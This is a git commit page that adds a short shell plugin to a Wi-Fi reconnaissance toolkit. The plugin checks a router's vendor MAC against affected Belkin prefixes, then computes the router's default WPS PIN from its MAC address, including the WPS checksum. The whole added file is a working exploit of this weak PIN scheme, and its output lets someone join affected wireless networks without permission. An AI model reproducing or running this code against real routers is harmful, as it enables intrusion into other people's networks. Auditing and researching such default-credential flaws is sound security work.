summaryrefslogtreecommitdiffstats
path: root/recon/inspector_wifi/plugins/11belkin_wps
diff options
context:
space:
mode:
authorlassulus <lass@aidsballs.de>2014-12-30 16:15:16 +0100
committerlassulus <lass@aidsballs.de>2014-12-30 16:15:16 +0100
commit4c82c9df30585a30db7adbdeef6b8df3d89ba98d (patch)
tree76fa179f5f7b0dac8b7821667713e65fd4bff989 /recon/inspector_wifi/plugins/11belkin_wps
parent127f434824695d3789e4c8ef4ef09e03cebf1343 (diff)
move belkin plugin to correct dir
Diffstat (limited to 'recon/inspector_wifi/plugins/11belkin_wps')
-rwxr-xr-xrecon/inspector_wifi/plugins/11belkin_wps30
1 files changed, 30 insertions, 0 deletions
diff --git a/recon/inspector_wifi/plugins/11belkin_wps b/recon/inspector_wifi/plugins/11belkin_wps
new file mode 100755
index 00000000..65448ad0
--- /dev/null
+++ b/recon/inspector_wifi/plugins/11belkin_wps
@@ -0,0 +1,30 @@
+#!/bin/sh
+
+cd $(dirname $(readlink -f $0))
+. ./plugin_core
+parse_plugin_args "$@"
+
+if ! check_vendor_mac "$VENDOR_MAC" 002275 001CDF 09863B; then
+ echo "VENDOR MAC $VENDOR_MAC not affected"
+ exit 1
+fi
+
+calc_belkin(){
+ PRIVATE_MAC=${1}
+ p=$((0x$PRIVATE_MAC % 10000000))
+ wps_pin_checksum(){
+ pin=$1
+ accum=0
+ while [ $pin -ne 0 ];do
+ accum=$((accum + (3 * (pin % 10)) ))
+ pin=$((pin/10))
+ accum=$((accum + pin %10 ))
+ pin=$((pin/10))
+ done
+ echo $(( (10 - accum % 10) % 10))
+ }
+ printf "%07d%d" $p $(wps_pin_checksum $p)
+ return 0
+}
+
+printf "WPS-PIN: %s" $(calc_belkin ${PRIVATE_MAC})